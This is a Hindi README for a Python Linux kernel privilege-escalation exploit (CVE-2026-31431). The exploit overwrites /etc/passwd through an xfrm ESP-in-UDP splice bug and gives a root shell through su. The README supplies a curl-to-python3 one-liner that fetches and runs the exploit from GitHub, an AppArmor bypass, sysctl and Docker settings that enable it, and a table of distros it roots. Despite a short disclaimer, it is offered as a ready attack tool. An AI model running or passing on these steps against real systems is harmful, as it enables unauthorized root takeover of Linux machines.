
# CVE-2026-31431 के लिए Linux कर्नेल स्थानीय विशेषाधिकार वृद्धि शोषण का Python कार्यान्वयन, जो /etc/passwd को अधिलेखित करने और रूट प्राप्त करने के लिए xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW का लाभ उठाता है।
xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW फास्ट पथ का लाभ उठाने वाले CopyFail2 कर्नेल एक्सप्लॉइट का पायथन पोर्ट, जो विशेषाधिकार-रहित Linux स्थानीय विशेषाधिकार वृद्धि के लिए उपयोग होता है।
/etc/passwd में एक nologin/false प्रविष्टि को पासवर्ड-रहित uid-0 उपयोगकर्ता से बदलता है और su के माध्यम से रूट शेल में प्रवेश करता है।
कर्नेल बग xfrm ESP-in-UDP एनकैप्सुलेशन द्वारा उपयोग किए जाने वाले UDP splice पथ में स्थित है। MSG_SPLICE_PAGES के साथ UDP सॉकेट में splice() करने से पृष्ठ कॉपी-ऑन-राइट को ट्रिगर किए बिना रिसीवर के पेज कैश में मैप हो जाते हैं। यह किसी भी फ़ाइल में लिखने की अनुमति देता है जो वर्तमान में पेज कैश में मैप की गई है, भले ही वह केवल-पठनीय रूप में खोली गई हो।
libcrypto.so (OpenSSL)CAP_NET_ADMIN या उपयोगकर्ता नेमस्पेस बनाने की क्षमतायह रिपॉजिटरी दो वेरिएंट प्रदान करती है। दोनों समान परिणाम देते हैं; अपनी बाधाओं के आधार पर चुनें।
# पाइप के माध्यम से एक-लाइनर
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"
# सहेजी गई फ़ाइल
python3 exploit.py
# परिवर्तन वापस करें
python3 exploit.py --clean
python3 exploit_raw.py
python3 exploit_raw.py --clean
Ubuntu पर apparmor_restrict_unprivileged_userns सक्षम होने पर, पहले फ़ाइल सहेजें और डिस्क से चलाएं; पाइप मोड AppArmor बायपास प्रक्रिया को छोड़ देता है।
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py
/etc/passwd बाइट को वांछित मान में XOR करता है।127.0.0.1:4500 पर एक स्थानीय xfrm ESP-in-UDP स्टेट स्थापित करता है।/etc/passwd से लक्ष्य बाइट, ICV) को पाइप में splice() करता है।splice() करता है, कर्नेल बग को ट्रिगर करता है और बाइट को पेज कैश में लिखता है।nologin/false लाइन को sick::0:0:...:/:/bin/bash से बदलने के लिए हर अलग बाइट के लिए दोहराता है।su - sick रूट में प्रवेश कराता है (PAM nullok खाली पासवर्ड स्वीकार करता है)।cannot acquire CAP_NET_ADMIN
आपके कर्नेल में kernel.unprivileged_userns_clone=0 हो सकता है। इसे सक्षम करें:
sudo sysctl kernel.unprivileged_userns_clone=1
यदि Docker के अंदर चल रहे हैं, तो कंटेनर को --privileged या --cap-add=SYS_ADMIN के साथ प्रारंभ करें।
यह उपकरण केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। उन प्रणालियों के विरुद्ध उपयोग न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है। लेखक इस सॉफ़्टवेयर के दुरुपयोग या क्षति के लिए कोई दायित्व नहीं लेते हैं।
| फ़ाइल | विवरण | गति | कब उपयोग करें |
|---|
exploit.py | अनुकूलित — म्यूटेशन के दौरान xfrm स्टेट/सॉकेट/पाइप का पुन: उपयोग करता है, प्रति राउंड 2 लगातार बाइट्स को बैच करता है, निश्चित नींद के बजाय सक्रिय पोलिंग करता है। | 99-बाइट लाइन के लिए ~3–8 सेकंड | डिफ़ॉल्ट विकल्प। तेज़, स्थिर, कई डिस्ट्रोस पर परीक्षण किया गया। |
exploit_raw.py | संदर्भ — मूल C कोड के सबसे करीब। हर एक बाइट के लिए xfrm स्टेट, सॉकेट, पाइप और अस्थायी फ़ाइल को फिर से बनाता है, प्रति म्यूटेशन 200 ms निश्चित नींद। | 99-बाइट लाइन के लिए ~30–40 सेकंड | यदि आप ऑडिटिंग के लिए सबसे सरल कोड पथ चाहते हैं, या यदि अनुकूलित संस्करण किसी विशिष्ट कर्नेल बिल्ड पर गलत व्यवहार करता है। |
| डिस्ट्रो | कर्नेल | परिणाम |
|---|
| Ubuntu 24.04 LTS | 6.8.0-110-generic | रूट |
| Debian 13 | 6.12.74 | रूट |
| Arch | 6.19.11-arch1-1 | रूट |
| Fedora 43 | 6.19.14-200.fc43 | रूट |
| Ubuntu 26.04 LTS | 7.0.0-15-generic | रूट |
| Ubuntu 22.04 LTS | 5.15.0-176-generic | भेद्य नहीं |